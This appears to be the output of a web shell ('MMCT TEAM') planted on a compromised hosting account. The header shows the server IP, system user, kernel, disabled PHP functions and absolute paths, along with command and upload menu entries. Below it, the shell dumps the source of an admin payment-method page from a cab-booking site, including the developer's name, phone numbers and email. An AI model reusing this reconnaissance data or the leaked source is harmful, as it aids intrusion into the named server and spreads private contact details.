MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.218.129.191
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/payment-method.php
<!-- Nom &amp; Prénom: WOUMTANA P. Youssouf
            Téléphone: +226 63 86 22 46 / 73 35 41 41
                Email: issoufwoumtana@gmail.com -->
<?php
    
    include("query/fonction.php");
?>
<?php require_once 'header.php';
    require_once 'navbar.php'; ?>
    <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/lightbox2/2.10.0/css/lightbox.min.css">
  <script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
  <!-- <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script> -->
  <script src="https://cdnjs.cloudflare.com/ajax/libs/lightbox2/2.10.0/js/lightbox.min.js"></script>
<!-- Page content -->
<style>
    .dataTables_filter{
        float: right;
    }
</style>

<div class="container-fluid pt-8">
    <div class="page-header mt-0 p-3">
        <h3 class="mb-sm-0">Payment Method</h3>
        <!-- <button id="addd" title="" class="btn btn-primary pull-right" data-toggle="modal" data-target="#add-type-vehicule">
                <i class="fa fa-plus"></i>
        </button> -->
        <!-- <button type="button" class="btn btn-dark btn-sm" data-toggle="modal" data-target="#add-type-vehicule"><i class="fa fa-plus m-r-10"></i>Add</button> -->

    </div>
        <!-- Page wrapper  -->
        <!-- ============================================================== -->
        <div class="page-wrapper">
            <!-- ============================================================== -->
            <!-- Bread crumb and right sidebar toggle -->
            <!-- ============================================================== -->
           
            <!-- ============================================================== -->
            <!-- End Bread crumb and right sidebar toggle -->
            <!-- ============================================================== -->
            <!-- ============================================================== -->
            <!-- Container fluid  -->
            <!-- ============================================================== -->
            <!-- <div class="container-fluid"> -->
                <!-- ============================================================== -->
                <!-- Start Page Content -->
                <!-- ============================================================== -->
                <!-- <div class="row">
                    <div class="col-12"> -->
                        <div class="card">
                            <div class="card-body">
                                <!-- <h6 class="card-subtitle">Export data to Copy, CSV, Excel, PDF & Print</h6> -->
                                <!-- <button type="button" class="btn btn-dark btn-sm" data-toggle="modal" data-target="#add-payment-method"><i class="fa fa-plus m-r-10"></i>Add</button> -->
                                <div id="add-payment-method" class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
                                    <div class="modal-dialog modal-lg">
                                        <div class="modal-content bg-gris">
                                            <div class="modal-header">
                                                <h4 class="modal-title" id="myModalLabel">Add a payment method</h4>
                                                <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
                                            </div>
                                            <form class="form-horizontal " action="query/action.php" method="post" enctype="multipart/form-data">
                                                <div class="modal-body">
                                                    <div class="form-group">
                                                        <div class="row">
                                                            <div class="col-md-4 m-b-0">
                                                                <div class="form-group mb-3">
                                                                    <label class="mr-sm-2" for="designation"><?php echo $name ?></label>
                                                                    <input type="text" class="form-control " placeholder="" name="libelle_method" id="libelle_method" required> 
                                                                    <div class="invalid-feedback">
                                                                        Désolé, entrez l'intitulé de la catégorie de devis
                                                                    </div>
                                                                </div>
                                                            </div>
                                                            <div class="col-md-4 m-b-0">
                                                                <div class="form-group mb-3">
                                                                    <label class="mr-sm-2" for="designation"><?php echo $status ?></label>
                                                                    <select name="status_method" id="status_method"class="form-control" required>
                                                                        <option value="yes" selected>Enabled</option>
                                                                        <option value="no">Disabled</option>
                                                                    </select>
                                                                </div>
                                                            </div>
                                                            <div class="col-md-4 m-b-0">
                                                                <div class="form-group mb-3">
                                                                    <label class="mr-sm-2" for="designation"><?php echo $image ?></label>
                                                                    <input type="file" class="form-control " placeholder="" name="image_method" id="image_method" required> 
                                                                    <div class="invalid-feedback">
                                                                        Désolé, entrez l'intitulé de la catégorie de devis
                                                                    </div>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                                <div class="modal-footer">
                                                    <button type="submit" class="btn btn-dark waves-effect"><?php echo $save ?></button>
                                                    <button type="button" class="btn btn-default waves-effect" data-dismiss="modal"><?php echo $cancel ?></button>
                                                </div>
                                            </form>
                                        </div>
                                        <!-- /.modal-content -->
                                    </div>
                                    <!-- /.modal-dialog -->
                                </div>
                                <div id="payment-method-mod" class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
                                    <div class="modal-dialog modal-lg">
                                        <div class="modal-content bg-gris">
                                            <div class="modal-header">
                                                <h4 class="modal-title" id="myModalLabel"><?php echo $modify_a_payment_method ?></h4>
                                                <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
                                            </div>
                                            <form class="form-horizontal " action="query/action.php" method="post" enctype="multipart/form-data">
                                                <div class="modal-body">
                                                    <div class="form-group">
                                                        <div class="row">
                                                            <input type="hidden" name="id_method_mod" id="id_method_mod" value="<?php echo $id_user; ?>">
                                                            <div class="col-md-4 m-b-0">
                                                                <div class="form-group mb-3">
                                                                    <label class="mr-sm-2" for="designation"><?php echo $name ?></label>
                                                                    <input type="text" class="form-control " placeholder="" name="libelle_method_mod" id="libelle_method_mod" required> 
                                                                    <div class="invalid-feedback">
                                                                        Désolé, entrez l'intitulé de la catégorie de devis
                                                                    </div>
                                                                </div>
                                                            </div>
                                                            <div class="col-md-4 m-b-0">
                                                                <div class="form-group mb-3">
                                                                    <label class="mr-sm-2" for="designation"><?php echo $status ?></label>
                                                                    <select id="status_method_mod" name="status_method_mod" class="form-control" required>
                                                                        <option value="yes" selected>Enabled</option>
                                                                        <option value="no">Disabled</option>
                                                                    </select>
                                                                </div>
                                                            </div>
                                                            <div class="col-md-4 m-b-0">
                                                                <div class="form-group mb-3">
                                                                    <label class="mr-sm-2" for="designation"><?php echo $image ?></label>
                                                                    <input type="file" class="form-control " placeholder="" name="image_method_mod" id="image_method_mod" required> 
                                                                    <div class="invalid-feedback">
                                                                        Désolé, entrez l'intitulé de la catégorie de devis
                                                                    </div>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                                <div class="modal-footer">
                                                    <button type="submit" class="btn btn-dark waves-effect"><?php echo $save ?></button>
                                                    <button type="button" class="btn btn-default waves-effect" data-dismiss="modal"><?php echo $cancel ?></button>
                                                </div>
                                            </form>
                                        </div>
                                        <!-- /.modal-content -->
                                    </div>
                                    <!-- /.modal-dialog -->
                                </div>
                                <div class="table-responsive m-t-10">
                                    <?php
                                        $tab_payment_method[] = array(); 
                                        $tab_payment_method = getPaymentMethod();
                                    ?>
                                    <table id="example24" class="text-center display nowrap table table-hover table-striped table-bordered" cellspacing="0" width="100%">
                                        <thead>
                                            <tr class="text-upparcase">
                                                <th>S.NO.</th>
                                                <th>Name</th>
                                                <th>Image</th>
                                                <th>Status (<?php echo $enabled ?>)</th>
                                                <th>Created</th>
                                                <th>Modified</th>
                                                <th>Action</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                            <?php
                                                for($i=0; $i<count($tab_payment_method); $i++){
                                                    echo'
                                                        <tr>
                                                            <td>'.($i+1).'</td>
                                                            <td>'.$tab_payment_method[$i]['libelle'].'</td>
                                                            <td width="10%"><img src="assets/payment_method/'.$tab_payment_method[$i]['image'].'" alt="" width="100%"></td>
                                                            <td><span class="'; if($tab_payment_method[$i]['statut'] == "yes"){echo "badge badge-success";}else{echo "badge badge-danger";} echo '">'.$tab_payment_method[$i]['statut'].'</span></td>
                                                            <td>'.$tab_payment_method[$i]['creer'].'</td>
                                                            <td>'.$tab_payment_method[$i]['modifier'].'</td>
                                                            <td>
                                                            </td>
                                                        </tr>
                                                    ';
                                                }
                                            ?>
                                            <!-- <input type="hidden" value="'.$tab_payment_method[$i]['id'].'" name="" id="id_method_'.$i.'">
                                            <button type="button" onclick="modPaymentMethod(id_method_'.$i.'.value);" class="btn btn-warning btn-sm" data-original-title="Modifiy" data-toggle="modal" data-target="#payment-method-mod"><i class="fa fa-pencil"></i></button> -->
                                            <!-- <a href="query/action.php?id_method='.$tab_payment_method[$i]['id'].'" class="btn btn-danger btn-sm" data-toggle="tooltip" data-original-title="Delete"> <i class="fa fa-trash"></i> </a>
                                            <a href="query/action.php?id_method_activer='.$tab_payment_method[$i]['id'].'" class="btn btn-success btn-sm" data-toggle="tooltip" data-original-title="Activate"> <i class="fa fa-check"></i> </a>
                                            <a href="query/action.php?id_method_desactiver='.$tab_payment_method[$i]['id'].'" class="btn btn-inverse btn-sm" data-toggle="tooltip" data-original-title="Deactivate"> <i class="fa fa-close"></i> </a> -->
                                        </tbody>
                                    </table>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- ============================================================== -->
                <!-- End PAge Content -->
                <!-- ============================================================== -->
                <!-- ============================================================== -->
                <!-- </div>
            </div>
        </div> -->
<?php
  require_once 'footer.php';
  require_once 'jslinks.php';
?>
    <script>
    $(document).ready(function() {
        $('#myTable').DataTable();
        $(document).ready(function() {
            var table = $('#example').DataTable({
                "columnDefs": [{
                    "visible": false,
                    "targets": 2
                }],
                "order": [
                    [2, 'asc']
                ],
                "displayLength": 25,
                "drawCallback": function(settings) {
                    var api = this.api();
                    var rows = api.rows({
                        page: 'current'
                    }).nodes();
                    var last = null;
                    api.column(2, {
                        page: 'current'
                    }).data().each(function(group, i) {
                        if (last !== group) {
                            $(rows).eq(i).before('<tr class="group"><td colspan="5">' + group + '</td></tr>');
                            last = group;
                        }
                    });
                }
            });
            // Order by the grouping
            $('#example tbody').on('click', 'tr.group', function() {
                var currentOrder = table.order()[0];
                if (currentOrder[0] === 2 && currentOrder[1] === 'asc') {
                    table.order([2, 'desc']).draw();
                } else {
                    table.order([2, 'asc']).draw();
                }
            });
        });
    });
    $('#example24').DataTable();
    </script>
    <!-- ============================================================== -->
    <!-- Style switcher -->
    <!-- ============================================================== -->
    <script src="assets/plugins/styleswitcher/jQuery.style.switcher.js"></script>
    <script>
        function modPaymentMethod(id_method){
            $.ajax({
                url: "query/ajax/getPaymentMethodById.php",
                type: "POST",
                data: {"id_method":id_method},
                success: function (data) {
                    $("#id_method_mod").empty();
                    $("#libelle_method_mod").empty();

                    var data_parse = JSON.parse(data);

                    $("#id_method_mod").val(data_parse[0].id);
                    $("#libelle_method_mod").val(data_parse[0].libelle);
                    $("#status_method_mod").val(data_parse[0].statut).selected;
                }
            });
        }
    </script>

    
    <!--Custom JavaScript -->
    <!-- <script src="js/custom.min.js"></script> -->
    <script src="assets/plugins/toast-master/js/jquery.toast.js"></script>
    <script src="js/toastr.js"></script>
    <!-- Custom Theme JavaScript -->

    <?php if(isset($_SESSION['status']) &&  $_SESSION['status'] == 1){ ?>
            <script>
                showSuccess();
            </script>
    <?php }else if(isset($_SESSION['status']) &&  $_SESSION['status'] == 2){ ?>
            <script>
                showFailed();
            </script>
    <?php }else if(isset($_SESSION['status']) &&  $_SESSION['status'] == 3){ ?>
            <script>
                showWarningIncorrect();
            </script>
    <?php } unset($_SESSION['status']); ?>
</body>

</html>

MMCT - 2023